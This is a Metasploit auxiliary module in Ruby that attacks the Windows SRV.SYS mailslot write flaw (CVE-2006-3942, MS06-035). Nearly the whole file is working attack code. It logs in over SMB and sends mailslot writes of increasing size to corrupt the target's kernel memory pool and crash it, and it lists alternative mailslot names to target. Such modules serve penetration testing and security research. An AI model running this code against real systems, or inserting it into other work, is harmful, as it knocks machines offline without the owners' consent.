100 lines
2.5 KiB
Ruby
100 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::SMB::Client
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft SRV.SYS Mailslot Write Corruption',
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'Description' => %q{
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This module triggers a kernel pool corruption bug in SRV.SYS. Each
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call to the mailslot write function results in a two byte return value
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being written into the response packet. The code which creates this packet
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fails to consider these two bytes in the allocation routine, resulting in
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a slow corruption of the kernel memory pool. These two bytes are almost
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always set to "\xff\xff" (a short integer with value of -1).
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['BID', '19215'],
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['OSVDB', '27644'],
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['CVE', '2006-3942'],
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['URL', 'http://www.coresecurity.com/common/showdoc.php?idx=562&idxseccion=10'],
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['MSB', 'MS06-035'],
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],
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'Actions' =>
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[
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['Attack'],
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],
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'DefaultAction' => 'Attack',
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'DisclosureDate' => 'Jul 11 2006'
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))
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register_options(
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[
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OptString.new('MAILSLOT', [ true, "The mailslot name to use", 'Alerter']),
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], self.class)
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end
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# MAILSLOT: HydraLsServer
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# MAILSLOT: Messngr
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# MAILSLOT: 53cb31a0\\UnimodemNotifyTSP
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def run
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case action.name
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when 'Attack'
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print_status("Mangling the kernel, two bytes at a time...");
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connect
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smb_login
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1.upto(1024) do |i|
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if (i % 100 == 0)
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print_status("Sending request containing #{i} bytes...")
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end
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begin
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self.simple.client.trans_mailslot("\\MAILSLOT\\"+datastore['MAILSLOT'], "X" * i)
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rescue ::Interrupt
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return
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rescue ::Exception => e
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if (i == 1)
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print_error("Failed to write any data to the mailslot: #{e}")
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break
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end
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print_error("Exception occurred on interation #{i}")
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print_error("Error: #{e.class} > #{e}")
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break
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end
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end
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# Errors:
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# 0xc0000034 = object not found
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# 0xc0000205 = insufficient resources (too much data)
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end
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disconnect
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end
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end
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